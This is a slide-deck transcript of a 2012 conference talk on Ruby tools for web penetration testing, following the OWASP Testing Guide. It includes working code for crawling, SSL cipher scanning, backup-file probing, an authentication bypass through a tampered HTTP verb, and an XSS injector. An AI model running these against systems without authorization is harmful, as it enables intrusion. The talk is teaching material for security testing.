Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Ruby for penetration tester

Ruby for penetration tester

This is the talk I gave in Italian RubyDay that was held in Milan, June 15 2012.

It was about the ruby code people can use to implement security tests as described in the Owasp Testing Guide.

Paolo Perego

June 15, 2012
Tweet

More Decks by Paolo Perego

Other Decks in Technology

Transcript

  1. picks and gems:
    ruby for
    penetration testers
    @thesp0nge
    Friday, June 15, 12

    View Slide

  2. self.inspect
    https://github.com/thesp0nge
    @thesp0nge
    http://armoredcode.com
    Friday, June 15, 12

    View Slide

  3. Why ruby?
    3
    • API
    • networking
    • string manipulation
    • Net::HTTP
    • Coolness
    Friday, June 15, 12

    View Slide

  4. Disclaimer
    4
    Attack only sites you’re authorized to
    Friday, June 15, 12

    View Slide

  5. What to test?
    5
    class Developer
    # a bunch of great
    # methods here
    end
    class Developer
    include Person::Attacker
    # a plenty of great
    # methods here
    end
    Change your mindset.
    You’re an attacker now!
    Friday, June 15, 12

    View Slide

  6. RubyDay IT, Milan, 15 June 2012
    What to test?
    6
    class Developer
    include Person::Attacker
    # a plenty of great
    # methods here
    end
    Your app is a
    black box
    You must gather
    informations
    about it
    You don’t have
    credentials
    Ooh look... a web
    form...
    Friday, June 15, 12

    View Slide

  7. RubyDay IT, Milan, 15 June 2012
    Leverage your attack surface
    7
    “It’s my web application. I don’t even promote it. I have all the informations about it, what
    are you talking about?”
    Spot attack entrypoints
    Deep knowledge of the
    underlying technology
    Check transport layer
    security
    Check for the service
    door
    Friday, June 15, 12

    View Slide

  8. RubyDay IT, Milan, 15 June 2012
    Leverage your attack surface
    8
    robots.txt to discover
    to fingerprint
    Friday, June 15, 12

    View Slide

  9. RubyDay IT, Milan, 15 June 2012
    Leverage your attack surface
    9
    “Just a bunch of ruby loc away...”
    # TESTING: SPIDERS, ROBOTS, AND CRAWLERS (OWASP-IG-001)
    def self.robots(site, only_disallow=true)
    if (! site.start_with? 'http://') and (! site.start_with? 'https://')
    site = 'http://'+site
    end
    list = []
    begin
    res=Net::HTTP.get_response(URI(site+'/robots.txt'))
    if (res.code != "200")
    return []
    end
    res.body.split("\n").each do |line|
    if only_disallow
    if (line.downcase.start_with?('disallow'))
    list << line.split(":")[1].strip.chomp
    end
    else
    if (line.downcase.start_with?('allow') or line.downcase.start_with?('disallow'))
    list << line.split(":")[1].strip.chomp
    end
    end
    end
    rescue
    return []
    end
    list
    end
    $ gem install links
    $ links -r http://www.yourtarget.com
    Friday, June 15, 12

    View Slide

  10. Demo
    10
    Friday, June 15, 12

    View Slide

  11. event name
    11
    $ gem install anemone
    require 'anemone'
    Anemone.crawl("http://www.target.com/") do |anemone|
    anemone.on_every_page do |page|
    puts page.url
    end
    end
    • Search engines crawl your site
    they are polite, you can ask not
    to do it
    • Attackers crawl your site... they
    are not polite.
    Friday, June 15, 12

    View Slide

  12. Demo
    12
    Friday, June 15, 12

    View Slide

  13. RubyDay IT, Milan, 15 June 2012
    Build a transparent proxy
    13
    Sometimes you need to observe the requests your browser
    makes while using a website... async calls are so sweets...
    $ gem install casper
    $ casper
    Useful to check javascripts or
    urls called on going... while
    manual browsing your target
    site
    Friday, June 15, 12

    View Slide

  14. RubyDay IT, Milan, 15 June 2012
    Build a transparent proxy
    14
    module Casper
    class Proxy < WEBrick::HTTPProxyServer
    attr_reader :req_count
    attr_reader :hosts
    def initialize(config={})
    @req_count = 0
    @hosts=[]
    config[:Port] ||= 8080
    config[:AccessLog] = []
    config[:ProxyContentHandler] = Proc.new do |req, res|
    log_requests(req, res)
    end
    super(config)
    end
    Extending WEBRick
    private
    def log_requests(req, res)
    $stdout.puts "[#{Time.now}] #{req.request_line.chomp}\n"
    if @hosts.index(req.host).nil?
    @hosts << req.host
    end
    inc_req_count
    end
    def inc_req_count
    @req_count += 1
    end
    Make the business
    Friday, June 15, 12

    View Slide

  15. Demo
    15
    Friday, June 15, 12

    View Slide

  16. RubyDay IT, Milan, 15 June 2012
    enchant: brute force discovery
    16
    Very intrusive attack... discover
    web directories using brute force.
    You’ll be busted
    $ gem install enchant
    $ enchant http://www.yourtarget.com
    Friday, June 15, 12

    View Slide

  17. Demo
    17
    Friday, June 15, 12

    View Slide

  18. RubyDay IT, Milan, 15 June 2012
    Web Application fingerpring
    18
    http://code.google.com/p/webapplicationfingerprinter/
    Web servers answer to the same
    HTTP request in different way.
    HTTP/1.1 200 OK
    Date: Sun, 15 Jun 2003 17:10: 49 GMT
    Server: Apache/1.3.23
    Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT
    ETag: 32417-c4-3e5d8a83
    Accept-Ranges: bytes
    Content-Length: 196
    Connection: close
    Content-Type: text/HTML
    HTTP/1.1 200 OK
    Server: Microsoft-IIS/5.0
    Content-Location: http://iis.example.com/Default.htm
    Date: Fri, 01 Jan 1999 20:13: 52 GMT
    Content-Type: text/HTML
    Accept-Ranges: bytes
    Last-Modified: Fri, 01 Jan 1999 20:13: 52 GMT
    ETag: W/e0d362a4c335be1: ae1
    Content-Length: 133
    GET / HTTP/1.0
    Friday, June 15, 12

    View Slide

  19. RubyDay IT, Milan, 15 June 2012
    SSL Testing
    19
    $ gem install ciphersurfer
    $ ciphersurfer www.gmail.com
    Evaluating secure communication with www.gmail.com:443
    Overall evaluation : B (76.5)
    Protocol support : ooooooooooooooooooooooooooooooooooooooooooooooooooooooo
    (55)
    Key exchange : oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
    (80)
    Cipher strength : oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo
    (90)
    Evaluate an SSL connection for:
    • protocols the server supports
    • cipher length
    • certificate key length
    Friday, June 15, 12

    View Slide

  20. RubyDay IT, Milan, 15 June 2012
    SSL Testing
    20
    def go
    context=OpenSSL::SSL::SSLContext.new(@proto)
    cipher_set = context.ciphers
    cipher_set.each do |cipher_name, cipher_version, bits, algorithm_bits|
    request = Net::HTTP.new(@host, @port)
    request.use_ssl = true
    request.verify_mode = OpenSSL::SSL::VERIFY_NONE
    request.ciphers= cipher_name
    begin
    response = request.get("/")
    @ok_bits << bits
    @ok_ciphers << cipher_name
    rescue OpenSSL::SSL::SSLError => e
    # Quietly discard SSLErrors, really I don't care if the cipher has
    # not been accepted
    rescue
    # Quietly discard all other errors... you must perform all error
    # chekcs in the calling program
    end
    end
    end
    protocol_version.each do |version|
    s =
    Ciphersurfer::Scanner.new({:host=>host,
    :port=>port, :proto=>version})
    s.go
    if (s.ok_ciphers.size != 0)
    supported_protocols << version
    cipher_bits = cipher_bits | s.ok_bits
    ciphers = ciphers | s.ok_ciphers
    end
    end
    Friday, June 15, 12

    View Slide

  21. Demo
    21
    Friday, June 15, 12

    View Slide

  22. RubyDay IT, Milan, 15 June 2012
    Check for backup files
    22
    Crawl the web site and append file
    extension to your GETs
    require 'anemone'
    require 'httpclient'
    h=HTTPClient.new()
    Anemone.crawl(ARGV[0]) do |anemone|
    anemone.on_every_page do |page|
    response = h.get(page.url)
    puts "Original: #{page.url}: #{response.code}"
    response = h.get(page.url.to_s.split(";")[0].concat(".bak"))
    puts "BAK: #{page.url.to_s.split(";")[0].concat(".bak")}: #{response.code}"
    response = h.get(page.url.to_s.split(";")[0].concat(".old"))
    puts "OLD: #{page.url.to_s.split(";")[0].concat(".old")}: #{response.code}"
    response = h.get(page.url.to_s.split(";")[0].concat("~"))
    puts "~: #{page.url.to_s.split(";")[0].concat("~")}: #{response.code}"
    end
    end
    Friday, June 15, 12

    View Slide

  23. Demo
    23
    Friday, June 15, 12

    View Slide

  24. RubyDay IT, Milan, 15 June 2012
    Bypass authentication
    24
    A case study for a PHP 5.3 application using basic auth: with
    a tampered HTTP verb you can access to protected urls
    require 'net/http'
    class Dammi < Net::HTTPRequest
    METHOD="DAMMI"
    REQUEST_HAS_BODY = false
    RESPONSE_HAS_BODY = true
    end
    Create a custom HTTP verb
    http=Net::HTTP.new('www.mytarget.nonexistent', 80)
    r_a = http.request(Dammi.new("/backend/index.php"))
    puts r_a.body
    Make the request
    Friday, June 15, 12

    View Slide

  25. RubyDay IT, Milan, 15 June 2012
    Cross site scripting
    25
    Executing arbitrary javascript code at client site by
    submitting a crafted parameter on a web form
    Friday, June 15, 12

    View Slide

  26. RubyDay IT, Milan, 15 June 2012
    Cross site scripting
    26
    $ gem install cross
    $ cross http://www.yourtarget.com
    module Cross
    # Engine is the cross class using Mechanize to inject canary and check for
    # output
    class Engine
    include Singleton
    attr_reader :agent
    # Starts the engine
    def start
    @agent = Mechanize.new {|a| a.log = Logger.new("cross.log")}
    @agent.user_agent_alias = 'Mac Safari'
    end
    def inject(url)
    found = false
    page = @agent.get(url)
    page.forms.each do |f|
    f.fields.each do |ff|
    ff.value = "alert('cross canary');"
    end
    pp = @agent.submit(f)
    scripts = pp.search("//script")
    scripts.each do |sc|
    if sc.children.text == "alert('cross canary');"
    found = true
    end
    end
    end
    found
    end
    end
    end
    Friday, June 15, 12

    View Slide

  27. RubyDay IT, Milan, 15 June 2012
    Cross site scripting
    27
    #!/usr/bin/env ruby
    $LOAD_PATH.unshift(File.expand_path(File.dirname(__FILE__) + '/../lib'))
    require 'mechanize'
    require 'ap'
    require 'logger'
    require 'cross'
    host = Cross::Host.new(ARGV[0])
    ap "cross " + Cross::Version.version[:string] + " (C) 2011 - thesp0nge"
    ap "target: " + host.host
    engine = Cross::Engine.instance
    engine.start
    if engine.inject(ARGV[0])
    ap "Canary found in output page. Suspected XSS"
    end
    It doesn’t work with iframe apps :-(
    Friday, June 15, 12

    View Slide

  28. Demo
    28
    Friday, June 15, 12

    View Slide

  29. What we learnt
    29
    • Don’t trust your users
    • “Security through obscurity” is EVIL
    • Testing for security issues is a mandatory
    step before deploy
    • HTTPS won’t safe from XSS or SQL Injections

    Friday, June 15, 12

    View Slide

  30. RubyDay IT, Milan, 15 June 2012
    Some links before we leave
    30
    http://armoredcode.com/blog/categories/pentest-with-ruby/
    https://github.com/thesp0nge/enchant
    https://github.com/thesp0nge/links
    https://github.com/thesp0nge/ciphersurfer
    http://ronin-ruby.github.com/
    https://github.com/rapid7/metasploit-framework
    https://gist.github.com/2935464 (gist for anemone crawling demo)
    http://www.owasp.org
    https://github.com/thesp0nge/cross
    Friday, June 15, 12

    View Slide

  31. event name
    Questions?
    31
    Friday, June 15, 12

    View Slide

  32. event name
    Thank you!
    32
    Friday, June 15, 12

    View Slide